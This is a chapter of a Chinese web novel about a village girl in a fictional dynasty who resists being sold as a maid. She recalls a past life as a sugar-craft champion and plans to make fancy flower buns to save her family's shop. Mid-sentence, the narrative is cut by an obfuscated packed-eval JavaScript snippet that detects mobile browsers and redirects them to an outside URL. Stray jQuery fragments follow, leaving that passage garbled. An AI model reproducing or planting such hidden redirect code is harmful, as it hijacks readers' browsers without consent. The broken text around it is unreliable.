山东羊承府有阳城县,濒渤海之隈,踞河朔之胜,享鱼盐之利,甲于齐东。
四时之气,氤氲相续,春无淫风,夏无酷暑,秋则霜叶染山,冬则温晴照野。城内街巷纵横,多是些青砖黑瓦屋子,屋舍俨然。户户门前种柳,泼洒浓阴。
此时正是六月天气,昨日刚见雨水,巷内青阶尚湿,斑驳有趣。
城内有一金鱼巷子,临街是一馒头铺,胡记字号。胡记馒头铺在此间开了四年,因物美价廉,也颇有些名气。现下将将卯时,东方才泛青白,他家已然升起炊烟。
早起挑水的汉子赤脚走在青石板上,留下一串湿漉漉的脚印,正是胡家的大儿子胡佑。
馒头铺每日使水多,晚上挑满了大缸,早起还得挑一次才够用。
等肩头上满压了水回家,除她妹子胡裪躲在屋里,娘和媳妇俱在作坊内揉面。
也难怪她没脸见人,实是胡裪作孽,昨日提着菜刀立在厨房门口,死活不肯去吴员外家为婢。
可她不去吴员外家做工,这一家子便没着落了。
说起来,胡家本不是县城里的人家,祖上三代原都在乡下种地。
到了胡有福这辈,分家不公,种地吃不饱肚子,便学了门走街串巷卖馒头的手艺。起初挑着担子,筐里搁着自家蒸的杂合面馒头沿村叫卖,后来学做花饽饽。就这么着干了十几年,竟也攒下些银钱。
四年前胡有福咬了咬牙,卖地卖屋,又向账局借了一百两,盘下金鱼巷子临街的铺面,前头开店,后头住人,总算在县城里有了个立足之地。
讲定的借期五年,每年利息十两,一年一还。四年里,一家子起早贪黑,省吃俭用,眼见着明年要清了账,谁知天有不测风云,四月时胡有福得了一场大病,抓药请大夫,把今年攒下的近二十两银子花得干干净净。
腊月初还账,还不到半年,他们如何能变出三十两银子!若是还不上,只怕要收铺子抵债。
胡有福在床上养了两个月病,想不出别的法子,只能卖女。
那吴员外家是阳城县的大户,乐善好施,待下人也宽厚,从不轻易打骂。他家正巧要添几个丫鬟,胡佑去送馒头的时候探知,回来告诉了老爹。
胡有福跟媳妇王翠一合计,女儿胡裪年方十六,生得眉清目秀,十里八乡也算得出挑的人物,定然能叫吴家选中,解燃眉之急。再者,倘若吴家少爷老爷看中了女儿,抬举做姨娘,那也是她的造化,不仅省下嫁妆,连带着娘家也能沾光。
思来想去,竟是一个再好不过的去处。
两口子把这意思跟姑娘说了,原以为她纵然不舍,也只好依从。谁知胡裪听后转身进厨房提了菜刀出来,往门口一站,硬邦邦道:“谁要卖我,我直接死这儿。”
眼神冷森森,把一屋子人都镇住了。
胡有福气得浑身发抖,抄起扁担要打,却被王翠死死拉住——女儿手里有刀,真闹起来,伤了谁都不好。
就这么僵持了半个时辰,到底是胡有福先服软,胡裪才放下刀回自己屋,到如今也没出来。
胡裪躺在自己屋里,耳听得外头悄无声息,倒觉着清净。昨日那一闹,她心里明白,爹娘一时半会儿不会再来逼她,可这僵局迟早要破。她翻了个身,望着窗棂间透进来的日光,怔怔出神。
有些事也是昨日才想明白的。
她本不是这个时代的人。
前世的名字也叫胡裪,是国际翻糖大赛的冠军,那一日她在湖边看水,忽见一个孩子落水,想也没想跳下去救。孩子被推上了岸,她自己却被卷入漩涡,再睁眼时,已成了胡家的女儿,襁褓中的婴孩。
一十六年,她浑浑噩噩地过着,只当自己本就是这里的人。直到昨日被爹娘要卖自己为奴的消息刺激到,前世的记忆才如开闸的洪水般涌了回来。翻糖、比赛、鲜花、掌声,还有那冰冷的河水,全都清清楚楚地印在脑子里。
她这才明白,自己是穿过来的。大盛王朝不过是一本书里的世界,是公主驸马虐恋情深的舞台,她连个配角都算不上,名字也没出现过,纯粹的世界背景板。可既然醒了过来,就不能再糊里糊涂地过活。
卖身为奴?想都别想。签了卖身契便是主家的物件,打骂发卖全由着人家。纵使吴家仁厚,到底是火坑,跳进去便由不得自己了。她前世是自由自在的人,凭着一双手走遍天下也不怕,这一世怎肯把性命交到别人手里?
但一家子的生计全在这铺子上,问题总得想法子解决。若还不上债铺子被收走,一时半会儿连地也种不上。爹娘只怕会下定决心要把她卖了换钱,届时人牙子来抓人,三五个大汉自己也挣不过。
胡裪坐起身,把小炕前匣子里的铜板又数了一遍,二两三钱四十六文,这是她十六年攒下的全部体己,这点钱,连利息的四分之一都不够。
她揉着眉心,细细盘算起来。
胡记馒头铺,卖的是寻常馒头与花饽饽。花饽饽虽比馒头利润厚些,忙活几天也就赚个一二两,又不经常做,平日还是靠卖馒头赚辛苦钱。
娘的手艺,她这些年已经学了完全,可胡祹心里清楚,自己真正会的不是这些。
翻糖,那才是她的本事。
用糖塑造出人物、花卉、楼阁,栩栩如生,美轮美奂。前世她做的翻糖作品,能卖到十几万。可在这大盛朝哪儿有翻糖的材料?寻常人家吃的糖,不过是麦芽糖、饴糖,颜色发黄,甜味也淡,要做翻糖得有精制的白糖,还得有各种食用色素、工具,这些上哪弄去?
她蹙着眉,在屋里转了两圈,忽然想起阳城县靠海,海运便利,南货时有可见。似乎听隔壁婶子说过县西有卖南方货物的铺子,白糖、香料都能买到,只是价钱昂贵,现在家中正缺钱,怎么能买那些东西?
还有什么办法……
对了,花饽饽!
一个朝代有一个朝代的风气,盛朝对男女婚嫁的重视程度非前朝可比,儿女亲事一向是豪族斗富的重要场合。本地有旧俗,凡节日庆典与婚丧嫁娶,定要置办一桌饽饽,这也是富豪们攀比的重要内容。
谁家的饽饽做的大,谁家的饽饽做的精巧,都得好好说道说道。
其中龙凤呈祥、
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345091|199507||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
喜上眉梢都是最常见的花样。若她能弄些新花样,把花饽饽造得如现代花饽饽一般细致,在这县城之中绝对是独一份的。
再者她前世虽是个玩糖的,可翻糖和面团,说到底都是可塑的材料,只是质地、口感不同罢了。若用发面做坯塑形,未必不能弄出来新奇东西。
这念头一闪,胡裪心里便热了起来。
正想着,外头忽然传来一阵脚步声,接着是嫂子陈喜妹的嗓音,压得低低的,却掩不住那股子尖刻:“……她倒沉得住气!一家子都快喝西北风了,她还挺尸呢!”
胡裪心里有了计较,便不再慌乱,眼下最要紧的是先逼爹娘一把,叫他们彻底打消卖自己的念头。至于那账局的债,还有爹的病,都得一步步来。
窗外传来揉面的声响,沉闷而单调,胡裪理了理衣裳推开门,往后院的水缸走去。她得先吃饱了,才有力气想以后的事。
见她出来,方才嚼舌根的嫂子一愣,面上讪讪,后立刻挺直了腰板,只因自己说的也没什么错处。
陈喜妹嘴角一哂:“大小姐出来了,大小姐可歇好了?若是没歇好赶快回去躺着,横竖我们这些人也死不了,只是到了年底就难说了。”
胡裪不理,自去打了一瓢水,穿过天井,径直走进前头铺子,当着几个买馒头的客人的面,伸手抓起肉馒头就往嘴里送。
那肉馒头比拳头还大一圈,馅却少些,胡裪四口一个,连吞了两个,举起水瓢“咕咚咕咚”灌几口水,一抹嘴,在弟弟胡祥见了鬼似的眼神中,转身回到后院。
一大家子都被她这古怪行径弄糊涂了。哥哥胡佑皱了皱眉,骂道:“阿荞,你要反不成!见了爹娘竟不知问好?晌午也不出来吃饭。我告诉你,没人给你留饭,过了饭点就饿着罢,便是饿死了也活该!”
谁知那个素来唯唯诺诺的妹子竟理也不理,径直往作坊去了。
也难为她还有两分良心,还知道起来帮着做工。
晚上赶着驴子拉磨,收拾蒸馒头的家什,胡裪也帮着干活,可胡有福心里就是不得劲,满肚子怨气。
等着人停驴歇,一家人熄灯入睡,胡有福忍不住叹气:“跟她那个姐姐一样,都是讨债的,早知道也就溺死了。”
背对着丈夫的王翠身子一僵,黑暗中睁大了眼,嘴唇动了动,却发不出声。她还记得呢,十八年前自己刚生完孩子,瘫在炕上不能动。稳婆才说是个女娃,孩子就被男人抱了出去,再也没抱回来。她那时装聋作哑,只当不问,那娃娃便还活着。今日才明白,这些年自己有多傻。
胡有福却像是打开了话匣子,闷声道:“当年那个一落地我就知道留不得,咱们家才攒了几个钱?你还得帮着我做馒头,实在是没功夫照料,一个丫头片子,舍了就舍了。谁承想不忍落留下阿荞,竟是个孽障!”
王翠咬着唇,把涌到嗓子眼的呜咽硬生生咽了回去。
胡有福又叹了一声。算了,便是小猫小狗养了十六年还舍不得呢,过几日去账局问问,倘若能宽限一年半载那是再好不过,若不账局不许,可不能错过吴家这次机会。